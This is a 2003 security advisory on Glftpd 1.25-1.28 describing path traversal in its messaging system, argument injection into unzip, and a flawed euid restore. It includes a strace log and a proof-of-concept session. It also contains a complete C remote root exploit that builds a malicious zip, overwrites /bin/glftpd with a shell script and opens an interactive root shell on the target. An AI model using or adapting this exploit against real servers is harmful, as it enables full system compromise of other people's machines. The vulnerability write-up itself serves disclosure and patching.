24th Feb 2003 [SBWID-6018]
COMMAND
Glftpd remote root and other vulnerabilities
SYSTEMS AFFECTED
Glftpd 1.25-1.28
PROBLEM
In Karol Wiêsek [appelast-at-bsquad.sm.pl] advisory :
http://bsquad.sm.pl/
I. BACKGROUND
Glftpd is a ftpd server, but it wasn't designed as a replacement of
fptd server. It is a kind of warez ftpd ( like serv-u, war-ftpd ). It
has its own users, groups etc. ( it doesn't use system files ). It has
built in request and message system, which allow to communicate betwen
users. After connecting it chroots, and moreover users are chrooted
second time. The second chroot is not typical chroot ( for example
commands could modify files outside of chroot ), but users can not get
out of it.
II. DESCRIPTION
1) Writing to any file with effective uid equal 0
Messaging system which allows users to communicate each other is
vulnerable to simple attack, which allows any logged user to apend his
own line ( unfortunatly formatted - which dissallows uid escalation )
to any file.
Sending messages uses following algoritm :
* Check if user exists by stat'ing /ftp-data/users/username
where username is not checked at all.
* Open file /ftp-data/users/username in append mode and write formatted
line.
Attacker by setting destination username to "../../site/incoming/file"
could destroy target file ( f.ex. zipfile ).
2) Unpacking uploaded files
Version 1.25 allows users to check, list and varify uploaded zip files
using unzip. This id done using following commands.
System command Glftpd command
unzip -tqq file site zipchk file
unzip -l -v file site ziplist file
unzip -p -C file *.nfo *.NFO site nfo file
There is possibility to pass filename with additional parameters to
unzip. Unfortunatly unzip dissallows to mix parameters, so extracting
uor file is rather impossible, but really ???
After checking argument parsing function in unzip we discover that
there is an easy way to trick unzip, using the following command we
obligate unzip to extract our file.
unzip -l -v --l --v file
( for more details see unzip.c )
So, command site ziplist --l --v file, extracts our file
3) Bad euid restoring
All config, messages, help files are owned by root, so any password,
tagline changing, message sending are connected with temporary changing
of euid. There is one situation where restoring old euid is broken.
On first console :
[root@siuwax /]# ftp siuwax 221
username: appelast
password: v
>
On second console :
[root@siuwax /]# ps -axu | grep glftpd
#100 1301 0.1 0.9 2568 1196 ? S 17:08 0:00
glftpd:siuwax: appelast
[root@siuwax /]# strace -f -p 1301 -o gl-onel-log
Back to first :
>site onel k
Back to second :
^C
[root@siuwax /]# ps -axu | grep glftpd
root 1301 0.0 0.9 2580 1212 ? S 17:08 0:00
glftpd:siuwax: appelast
Oh, what happened :> ??
[root@siuwax /]# cat gl-onel-log
1301 read(0, "SITE onel k\r\n", 1024) = 16
1301 alarm(900) = 888
1301 getuid() = 0
1301 getpid() = 1301
1301 rt_sigprocmask(SIG_BLOCK, ~[STKFLT CONT PWR RT_0 RT_1 RT_2 RT_3
RT_4 RT_5 RT_6 RT_7 RT_8 RT_9 RT_10 RT_11 RT_12 RT_13 RT_14 RT_15
RT_16 RT_17 RT_18 RT_19 RT_20 RT_21 RT_22 RT_23 RT_24 RT_25 RT_26
RT_27 RT_28 RT_29 RT_30], [], 8) = 0
- - - -HERE FIRST-> 1301 setresuid(ruid 4294967295, euid 0, suid
4294967295) = 0
1301 open("/ftp-data/misc/oneliners.1301.temp",
O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
1301 open("/ftp-data/misc/oneliners", O_RDONLY) = 7
1301 fstat(7, {st_mode=S_IFREG|0666, st_size=428, ...}) = 0
1301 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4015e000
1301 read(7, "appelast 10409213"..., 4096) = 428
1301 read(7, "", 4096) = 0
1301 fstat(6, {st_mode=S_IFREG|0666, st_size=0, ...}) = 0
1301 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4015f000
1301 time(NULL) = 1040922613
1301 close(7) = 0
1301 munmap(0x4015e000, 4096) = 0
1301 write(6, "appelast 10409213"..., 535) = 535
1301 close(6) = 0
1301 munmap(0x4015f000, 4096) = 0
1301 unlink("/ftp-data/misc/oneliners") = 0
1301 rename("/ftp-data/misc/oneliners.1301.temp",
"/ftp-data/misc/oneliners") = 0
- - - -HERE SECOND-> 1301 setresuid(ruid 4294967295, euid 0, suid
4294967295) = 0
1301 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
1301 write(1, "200 Your oneliner has been added"..., 35) = 35
1301 rt_sigaction(SIGALRM, {0x8058f60, [ALRM],
SA_RESTART|0x4000000}, {0x8058f60, [ALRM], SA_RESTART|0x4000000}, 8)
= 0
1301 gettimeofday({1040922613, 745799}, NULL) = 0
1301 time([1040922613]) = 1040922613
1301 read(0, <unfinished ...>
Probably second setresuid should set euid to 100, but it doesn't.
III. ANALYSIS
Logged users could append to any file destroying it ( it could be fixed
by manualy editing ). Also logged users could gain root privileges in
chroot, and also in all system ( see PoC ). Glftpd is a warez ftpd, and
there is often practised look only acounts ( for everyone ), which also
allows expliting.
IV. PROOF OF CONCEPT
Root compromise with glftpd 1.25 ( Linux )
[root@siuwax /]# ftp 127.0.0.1 221
username : appelast
password : v
>cd incoming
>put kkk.zip
>site onel
>site ziplist --l --v -o kkk.zip
>quit
[root@siuwax /]# telnet 127.0.0.1 221
bash#
File kkk.zip is prepared to overwrite /bin/glftpd, which is envoked
from xinetd with uid=0.
And contains :
#!/bin/sh
sh -i
V. DETECTION
Glftpd 1.25 is confirmed vulnerable to all 3 attacks, since Glftpd 1.26
commands site [nfo|ziplist|zipchk] was disabled and changed, but rest 2
bugs are present in all version including newest 1.28.
VI. EXAMPLE EXPLOIT
/*
Glftpd 1.25 PoC remote root exploit
appelast [appelast-at-bsquad.sm.pl]
We don't need writable directory to
upload our file, we change our euid
before it to 0 :>
*/
#define TMP_ZIP "/tmp/kakaka.zip"
#define TMP_CMDS "/tmp/glcmds"
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
// shellcode ;)
signed int
shellcode[221]={80,75,3,4,10,0,0,0,0,0,83,125,-102,45,98,68,108,-96,15
,0,0,0,15,0,0,0,37,0,21,0,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47
,46,46,47,46,46,47,46,46,47,46,46,47,98,105,110,47,103,108,102,116,112
,100,85,84,9,0,3,110,35,11,62,-33,99,11,62,85,120,4,0,0,0,0,0,35,33,47
,98,105,110,47,115,104,10,115,104,32,45,105,80,75,1,2,23,3,10,0,0,0,0,
0,83,125,-102,45,98,68,108,-96,15,0,0,0,15,0,0,0,37,0,13,0,0,0,0,0,1,0
,0,0,-19,-127,0,0,0,0,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47,46,
46,47,46,46,47,46,46,47,46,46,47,98,105,110,47,103,108,102,116,112,100
,85,84,5,0,3,110,35,11,62,85,120,0,0,80,75,5,6,0,0,0,0,1,0,1,0,96,0,0,
0,103,0,0,0,0,0};
void usage(char *progname) {
printf("Glftpd 1.25 remote root exploit\n"
"appelast [appelast-at-bsquad.sm.pl]\n"
"usage : %s host port user password\n\n"
,progname);
}
int openhost(char *host,int port) {
int sock;
struct sockaddr_in addr;
struct hostent *he;
he=gethostbyname(host);
if (he==NULL) return -1;
sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
if (sock==-1) return -1;
memcpy(&addr.sin_addr, he->h_addr, he->h_length);
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)
sock=-1;
return sock;
}
void openshell(int sock)
{
char buf[1024];
fd_set rset;
int i;
while (1)
{
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);
if (FD_ISSET(sock,&rset))
{
i=read(sock,buf,1024);
if (i <= 0)
{
printf("The connection was closed!\n");
exit(0);
}
buf[i]=0;
puts(buf);
}
if (FD_ISSET(STDIN_FILENO,&rset))
{
i=read(STDIN_FILENO,buf,1024);
if (i>0)
{
buf[i]=0;
write(sock,buf,i);
}
}
}
}
int main(int argc, char *argv[]) {
int fd, i;
char buf[1024];
char user[25], pass[25];
memset(buf,0,1024);
usage(argv[0]);
if (argc!=5)
exit(0);
snprintf(user, 24,"%s", argv[3]);
snprintf(pass, 24,"%s", argv[4]);
printf("Creating evil .zip file : ");
fd = open(TMP_ZIP,O_RDWR|O_CREAT|O_TRUNC,0600);
if (fd<0)
{
perror("open");
exit(0);
}
for (i=0; i<221; i++)
{
(int)buf[0]=shellcode[i];
buf[1]=0;
write(fd,buf,1);
}
close(fd);
printf("DONE\n");
printf("Creating commands file : ");
fd = open(TMP_CMDS,O_RDWR|O_CREAT|O_TRUNC,0600);
if (fd<0)
{
perror("open");
exit(0);
}
sprintf(buf,"quote user %s\n"
"quote pass %s\n"
"site onel hellou\n"
"put %s %s\n"
"site ziplist --l --v -o %s\n"
"del %s\n", user, pass, TMP_ZIP, strrchr(TMP_ZIP, 0x2f)+1,
strrchr(TMP_ZIP, 0x2f)+1, strrchr(TMP_ZIP, 0x2f)+1);
write(fd, buf, strlen(buf));
close(fd);
printf("DONE\n");
printf("Exploiting ... ");
snprintf(buf, 1023, "ftp -n %s %i < /tmp/glcmds", argv[1],
atoi(argv[2]));
system(buf);
unlink(TMP_ZIP);
unlink(TMP_CMDS);
printf("DONE\n");
printf("Connecting to rootshell\n");
openshell(openhost(argv[1],atoi(argv[2])));
return 0;
}
SOLUTION
Since Glftpd 1.26 commands site [nfo|ziplist|zipchk] was disabled and
changed, but rest 2 bugs are present in all version including newest
1.28.